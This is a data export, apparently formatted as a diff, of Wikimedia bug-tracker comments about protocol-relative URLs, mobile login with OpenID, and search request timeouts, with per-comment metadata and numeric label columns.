+248391,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Maybe worth mentioning, due to protocol-relative URLs our feeds do not validate: ""id must be a full and valid URL"", e.g. <http://validator.w3.org/feed/check.cgi?url=https%3A%2F%2Fwww.mediawiki.org%2Fw%2Findex.php%3Ftitle%3DSpecial%3ARecentChanges%26feed%3Datom%26limit%3D50>
+
+This seems to have caused problems with some version of Thunderbird (bug 44647) and at some point I was unable to use our feeds in Facebook (or maybe FriendFeed; I've not tested recently).",,,1375184393,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,True,,,-5,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+248383,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #3)
+> Switching bits and upload to always be HTTPS would resolve a good portion of
+> the issue being discussed here. A few minor edits to interface messages would
+> also go a long way in resolving most of this bug.
+
+My estimate on bug 51002 was that sending all traffic through HTTPS would require the HTTPS cluster to be expanded by a factor of 10. Since the relevant metric is connection rate, not object rate, bits and upload would probably be most of that, since browsers open multiple concurrent connections to those servers during a normal request. So you'd be looking at maybe 80 additional servers. Maybe it would be worthwhile, but it wouldn't be cheap, either in terms of capital cost or staff time. 
+
+Writing an nginx module to rewrite the URLs would probably be simpler than setting up a cluster of 80 servers.",,,1375157181,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,False,,,-5,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1
+248375,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #0)
+> Protocol-relative URLs might be various kinds of awesome, and they work with
+> every major browser.
+
+This bug somewhat annoyingly fails to mention why protocol-relative URLs are being used. Bug 20342 comment 0 gives a decent overview of why protocol-relative URLs were implemented on Wikimedia wikis.
+
+In reality, most (see rough stats below) URLs in articles are simply relative (""/wiki/Foo"" or ""/w/index.php?title=Foo""), not protocol-relative (""//wikiproject.org/w/index.php?title=Foo""). Resources (bits.wikimedia.org and upload.wikimedia.org) rely on protocol-relativity more than anything else (sending mixed content causes ugly warnings in browsers).
+
+Switching bits and upload to always be HTTPS would resolve a good portion of the issue being discussed here. A few minor edits to interface messages would also go a long way in resolving most of this bug.
+
+(In reply to comment #1)
+> I'm tempted to say this is an issue with said badly written clients, not
+> MediaWiki, and therefore this is invalid...
+
+We sometimes accomodate stupid clients (as well as stupid users, for that matter). I'm was somewhat inclined to say that this bug is a duplicate of bug 20342 (""Support for protocol-relative URLs (tracking)"") or bug 47832 (""Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon)""), but assuming the numbers I ran below are correct, this bug could simply be a tracking bug with a few (relatively easy) dependencies.
+
+---
+
+Recently featured articles on the English Wikipedia [[Main Page]]:
+* [[Barber coinage]]
+* [[Harold Davidson]]
+* [[War of the Bavarian Succession]]
+
+
+For [[Barber coinage]]:
+
+$ curl -s --compressed ""https://en.wikipedia.org/wiki/Barber_coinage"" | grep -o '=""//' | wc -l
+      76
+
+$ curl -s --compressed ""https://en.wikipedia.org/wiki/Barber_coinage"" | egrep -o '=""/[^/]' | wc -l
+     330
+
+
+For [[Harold Davidson]]:
+
+$ curl -s --compressed ""https://en.wikipedia.org/wiki/Harold_Davidson"" | grep -o '=""//' | wc -l
+      46
+
+$ curl -s --compressed ""https://en.wikipedia.org/wiki/Harold_Davidson"" | egrep -o '=""/[^/]' | wc -l
+     233
+
+
+For [[War of the Bavarian Succession]]:
+
+$ curl -s --compressed ""https://en.wikipedia.org/wiki/War_of_the_Bavarian_Succession"" | grep -o '=""//' | wc -l
+      91
+
+$ curl -s --compressed ""https://en.wikipedia.org/wiki/War_of_the_Bavarian_Succession"" | egrep -o '=""/[^/]' | wc -l
+     362
+
+
+Summary:
+* [[Barber coinage]]: 81.28% of links are simply relative; of the protocol-relative links (76), 71.05% are from bits (18) or upload (36)
+
+* [[Harold Davidson]]: 83.51% of links are simply relative; of the protocol-relative links (46), 63.04% are from bits (15) or upload (14)
+
+* [[War of the Bavarian Succession]]: 79.91% of links are simply relative; of the protocol-relative links (91), 56.04% are from bits (15) or upload (36)
+
+
+
+Of the protocol-relative links, there are lots of very low-hanging fruit that could easily be made to always use HTTPS that are deflating the numbers directly above. For example:
+
+* <a href=""//wikimediafoundation.org/wiki/Privacy_policy"" title=""wikimedia:Privacy policy"">Privacy policy</a> [twice]
+* <a href=""//en.wikipedia.org/wiki/Wikipedia:Contact_us"">Contact Wikipedia</a>
+* <a href=""//wikimediafoundation.org/""><img src=""//bits.wikimedia.org/images/wikimedia-button.png"" width=""88"" height=""31"" alt=""Wikimedia Foundation""/></a>
+* <a href=""//www.mediawiki.org/""><img src=""//bits.wikimedia.org/static-1.22wmf11/skins/common/images/poweredby_mediawiki_88x31.png"" alt=""Powered by MediaWiki"" width=""88"" height=""31"" /></a>
+* <a rel=""license"" href=""//en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License"">Creative Commons Attribution-ShareAlike License</a>
+* <a rel=""license"" href=""//creativecommons.org/licenses/by-sa/3.0/"" style=""display:none;""></a>
+* <a href=""//donate.wikimedia.org/wiki/Special:FundraiserRedirector?utm_source=donate&amp;utm_medium=sidebar&amp;utm_campaign=C13_en.wikipedia.org&amp;uselang=en"" title=""Support us"">Donate to Wikipedia</a>
+* <link rel=""copyright"" href=""//creativecommons.org/licenses/by-sa/3.0/"" />
+
+
+These amount to 9 links. Re-running our numbers again, we find:
+
+* [[Barber coinage]]:
+  protocol-relative links: 76
+    bits.wikimedia.org:    18
+    upload.wikimedia.org:  36
+    interface:              9
+    easily eliminated: 82.89%
+
+* [[Harold Davidson]]:
+  protocol-relative links: 46
+    bits.wikimedia.org:    15
+    upload.wikimedia.org:  14
+    interface:              9
+    easily eliminated: 82.61%
+
+* [[War of the Bavarian Succession]]:
+  protocol-relative links: 91
+    bits.wikimedia.org:    15
+    upload.wikimedia.org:  36
+    interface:              9
+    easily eliminated: 65.93%
+
+
+
+
+Basically, as I see it, if instead of griping, you simply provisioned a few more resources servers (upload and bits) and submitted a few edits to MediaWiki messages or changesets to Gerrit, you could resolve somewhere between two-thirds and four-fifths of the problem you're describing in comment 0 without breaking a sweat.
+
+That number gets even higher (probably somewhere around 90–95%) with an additional single edit to [[m:Interwiki map]] and an adjustment to the interlanguage links output, which make up most of the remaining protocol-relative URLs.
+
+For what it's worth.",,,1375148582,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,True,,,-5,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+248367,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #1)
+> I'm tempted to say this is an issue with said badly written clients, not
+> MediaWiki, and therefore this is invalid...
+
+It's not about technical correctness, it's about courtesy. Yes, there are hundreds of clients that are broken in this way, and it is the fault of the hundreds of developers who individually wrote those clients, but the easiest place to fix the problem is in MediaWiki and the WMF frontend.
+
+In any case, client compatibility is an essential part of developing web server software. If the site was completely broken in IE or Firefox, you wouldn't say the bug was invalid. The only difference is scale -- whether we should care about the long tail of badly-written HTML parsers. I am saying that we should care.",,,1375145285,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,False,,,-5,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+248360,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"I'm tempted to say this is an issue with said badly written clients, not MediaWiki, and therefore this is invalid...",,,1375144568,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+54059,Mobile login not compatible with OpenID,"OpenID adds a link to the header for logging in with OpenID. MobileFrontend does not support this.
+
+Maybe it's possible to add support for this in OpenID, rather than MobileFrontend.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374787620,1676061402.0,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-cxqxcmcth4iw62pm3rak,task_description,resolved,True,c2,1,False,False,False,-5,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+2067161,Mobile login not compatible with OpenID,"No reply. Assuming this is resolved. If there is more work to do, please reopen.",,,1676061402,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,True,,,493,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0
+2029201,Mobile login not compatible with OpenID,"Should this still remain open, or did OpenID support simply get fixed by the shift in MobileFrontend to the core login form?",,,1669917133,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,True,,,483,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+520661,Mobile login not compatible with OpenID,"Change 231146 merged by jenkins-bot:
+Use core login form
+
+[[https://gerrit.wikimedia.org/r/231146]]",,,1441316635,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,105,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+520652,Mobile login not compatible with OpenID,"I'm not sure, if the merged change will solve this task, but it would open the way for OpenID (and probably other extensions) to add links/fields to the login page instaed (or in addition) to personal tools.",,,1441316157,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,105,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+507109,Mobile login not compatible with OpenID,"^ this change will not solve the task, iirc? The OpenID extension adds a new link to the personal tools, right? The personal tools will not show with this change. Maybe someone, who is more familar with the extension, can clarify if this change will help? :)",,,1439422586,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,102,True,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0
+507056,Mobile login not compatible with OpenID,"Change 231146 had a related patch set uploaded (by Jdlrobson):
+Use core login form
+
+[[https://gerrit.wikimedia.org/r/231146]]
+",,,1439419397,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,102,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+401726,Mobile login not compatible with OpenID,This should be working in alpha now. If it's not we will need to tweak the #MediaWiki-extensions-OpenID; extension. Is anyone able to test this? I'm happy to help.,,,1421779715,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,72,True,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+237082,Mobile login not compatible with OpenID,"Change 142874 abandoned by Florianschmidtwelzow:
+Allow extensions to add Content as header on mobile login page
+
+Reason:
+better would be working on moving away from ""own"" login page (which would have this ""feature"" already).
+
+https://gerrit.wikimedia.org/r/142874",,,1410212902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,53,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0
+237077,Mobile login not compatible with OpenID,"Added this bug as reference, because the ps comes as an ""idea"" from here :)",,,1404046925,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+237075,Mobile login not compatible with OpenID,"Change 142874 had a related patch set uploaded by Florianschmidtwelzow:
+Allow extensions to add Content as header on mobile login page
+
+https://gerrit.wikimedia.org/r/142874",,,1404046874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237069,Mobile login not compatible with OpenID,"Ah, sorry, now i see the problem :) Not a header in logging in page, the link after ""Login"" in personal tools. Isn't this more a duplicate of:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=63459
+? Because mobile frontend uses no personal tool urls in this way like desktop.",,,1404045833,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1
+237064,Mobile login not compatible with OpenID,"Created attachment 15712
+Example with google and facebookloginbutton
+
+**Attached**: {F11267}",,,1403624174,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237058,Mobile login not compatible with OpenID,"The header elements are given in data array as 'header', so the easiest way is, to create a new div, ahead of username and password and add the content of header. I think, for consistency, this is still wanted? :)
+
+Example with Googlelogin and Facebookloginbutton in attachement :)",,,1403624155,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,42,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,0
+237053,Mobile login not compatible with OpenID,"The basic measurement is still: would a task like this take 2-3 hours of work from an experienced contributor like you?
+
+There should be also a plan declared to fix this problem, for instance whether the fix should be in OpenID or MobileFrontend.",,,1387914716,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+237048,Mobile login not compatible with OpenID,Andre / Quim - although a little hard this might be a fun task for Google Code in 2013? Thoughts?,,,1387911802,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+53096,"Error during search ""HTTP request timeout""","I dont know wheter this is a bug on Wikimedia side or on my side, but recently at Wikimedia projects I get sometimes following statment when browsing:
+
+""Při hledání došlo k chybě: Čas pro HTTP požadavek vypršel.""
+
+It sais that during search the bug was detected: HTTP request timeout.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: minor",Low,25.0,1373439660,1395463718.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-izo5s7v4lhf4partpmsl,task_description,declined,True,c2,1,False,False,False,-7,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+253065,"Error during search ""HTTP request timeout""","(In reply to Juan de Vojníkov from comment #0)
+> I dont know wheter this is a bug on Wikimedia side or on my side, but
+> recently at Wikimedia projects I get sometimes following statment when
+> browsing:
+> 
+> ""Při hledání došlo k chybě: Čas pro HTTP požadavek vypršel.""
+> 
+> It sais that during search the bug was detected: HTTP request timeout.
+
+That'd be an issue in lsearchd, which is being replaced as quickly as it can be. lsearchd is end of life'd at WMF, so this bug is a WONTFIX I'm afraid (since it's fixed by default with the new search)
+
+You can avoid this problem *right now* by opting in to the new search via your beta features.",,,1395463718,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,True,,,29,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+253061,"Error during search ""HTTP request timeout""","(In reply to Juan de Vojníkov from comment #9)
+> (In reply to Andre Klapper from comment #5)
+> > Tried the same and got ""There are no pages or files in this category."", plus
+> > did not take 10 seconds.
+> > 
+> > > *tracert: request time out at IP between 84.233.190.1 and 91.198.174.224
+> > 
+> > Full output could be helpful.
+> 
+> What do you mean by full output?
+
+I don't think that'd be helpful. Report is HTTP timeout on the WMF side (From the mediawiki servers -> the search servers), user's tracert probably won't say anything useful.
+
+Message in question is 'search-error'",,,1395444842,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,29,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1
+253058,"Error during search ""HTTP request timeout""","(In reply to Andre Klapper from comment #5)
+> Tried the same and got ""There are no pages or files in this category."", plus
+> did not take 10 seconds.
+> 
+> > *tracert: request time out at IP between 84.233.190.1 and 91.198.174.224
+> 
+> Full output could be helpful.
+
+What do you mean by full output?",,,1395444197,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,29,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1
+253054,"Error during search ""HTTP request timeout""",I have tested the previous two URLs and its not happening to me. But could developers determine if this would be a problem on the Wikimedia site or on our site?,,,1395444112,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,29,True,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+253052,"Error during search ""HTTP request timeout""","**rybec** wrote:
+
+Here's another URL which has consistently resulted in the error:
+https://en.wikipedia.org/w/index.php?title=Special%3ASearch&profile=help&search=npov+noticeboard&fulltext=Search",,,1395300135,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,29,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+253046,"Error during search ""HTTP request timeout""","**rybec** wrote:
+
+These URLs
+
+https://en.wikipedia.org/w/index.php?title=Special%3ASearch&profile=help&search=%22take+over%22&fulltext=Search
+
+https://en.wikipedia.org/w/index.php?title=Special%3ASearch&profile=help&search=account+take-over&fulltext=Search
+
+consistently result in ""An error has occurred while searching: HTTP request timed out.""",,,1393447480,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,26,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+253042,"Error during search ""HTTP request timeout""","Tried the same and got ""There are no pages or files in this category."", plus did not take 10 seconds.
+
+> *tracert: request time out at IP between 84.233.190.1 and 91.198.174.224
+
+Full output could be helpful.",,,1375791945,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+253037,"Error during search ""HTTP request timeout""","Another example. At Wikimedia Commons, I typed to search window nonexistent category ""category:AC-83"" and pressed enter. After some time same page and same error message as previously stated.
+
+Technical details:
+*Br: FF 22.0
+*Page got in: 10.162 secs.
+*Connection: 2/16 Mbit, real at time 1.6/19.7, higher latency
+*tracert: request time out at IP between 84.233.190.1 and 91.198.174.224
+*status.wikimedia.org: service disruption at Inciga, performence level 12 for Czech Republic",,,1375681818,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,2,False,,,-4,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0
